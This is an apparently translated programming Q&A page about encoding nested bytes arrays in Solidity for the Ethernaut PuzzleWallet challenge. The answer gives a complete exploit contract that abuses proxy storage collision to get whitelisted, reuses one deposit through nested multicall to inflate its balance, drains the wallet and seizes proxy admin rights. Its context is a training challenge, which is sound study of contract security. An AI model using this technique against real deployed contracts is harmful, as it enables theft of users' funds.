【问题标题】:Encoding a bytes[] for encodeWithSignature为 encodeWithSignature 编码一个 bytes[]
【发布时间】:2022-08-17 19:39:10
【问题描述】:

作为来自 Ethernaut 的 PuzzleWallet 挑战的一部分,我希望从我的合同中调用外部合同的这种方法:

function multicall(bytes[] calldata data) external payable onlyWhitelisted

更具体地说,我正在尝试使用递归调用进行调用。

         multidata
     ________|________
    |                 |
multidata          multidata
    |                 |
deposit            deposit

我正在使用abi.encodeWithSignature 方法,但看起来 Solidity 不允许Nested dynamic arrays not implemented here.

bytes memory data = abi.encode([bytes4(keccak256(\'deposit()\'))]);
bytes memory singleMulticallData = abi.encodePacked(bytes4(keccak256(\'multicall(bytes[])\')), data);
        
(bool successDeposit, ) = address(proxy).call(abi.encodeWithSignature(\"multicall(bytes[])\", [singleMulticallData, singleMulticallData]));
require(successDeposit, \"deposit not successful\");

关于如何创建包含字节的字节数组的任何想法?

    标签: solidity


    【解决方案1】:
    1. 添加“pragma experimental ABIEncoderV2;”。

      2.以下是我的解决方案供您参考。

      // SPDX-License-Identifier: MIT
      pragma solidity ^0.6.0;
      pragma experimental ABIEncoderV2;
      
      import "./PuzzleWallet.sol";
      
      contract Exploit{
          PuzzleProxy public proxy;
      
          constructor(PuzzleProxy _proxy) public payable{
              require(msg.value == 0.001 ether, "incorrect msg.value");
              proxy = _proxy;
              proxy.proposeNewAdmin(address(this));
      
              PuzzleWallet wallet = PuzzleWallet(address(proxy));
              wallet.addToWhitelist(address(this));
           
              bytes memory data = abi.encodeWithSelector(PuzzleWallet.deposit.selector);
      
              bytes[] memory data1 = new bytes[](1);
              data1[0] = data;
      
              bytes memory data2 = abi.encodeWithSelector(PuzzleWallet.multicall.selector, data1);
      
              bytes[] memory data3 = new bytes[](2);
              data3[0] = data2;
              data3[1] = data2;
              
      
              wallet.multicall{value:0.001 ether}(data3);  
              uint256 balance  = wallet.balances(address(this));
              require(balance == 0.002 ether, "unexpected balance");
      
              wallet.execute(msg.sender, balance, new bytes(0));
              wallet.setMaxBalance(uint256(uint160(address(this))));
      
              require(proxy.admin() == address(this), "fail to exploit");
          }
      }
      

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 1970-01-01
      • 2022-07-26
      • 2020-10-19
      • 1970-01-01
      • 1970-01-01
      • 2021-05-19
      • 1970-01-01
      • 1970-01-01
      相关资源
      最近更新 更多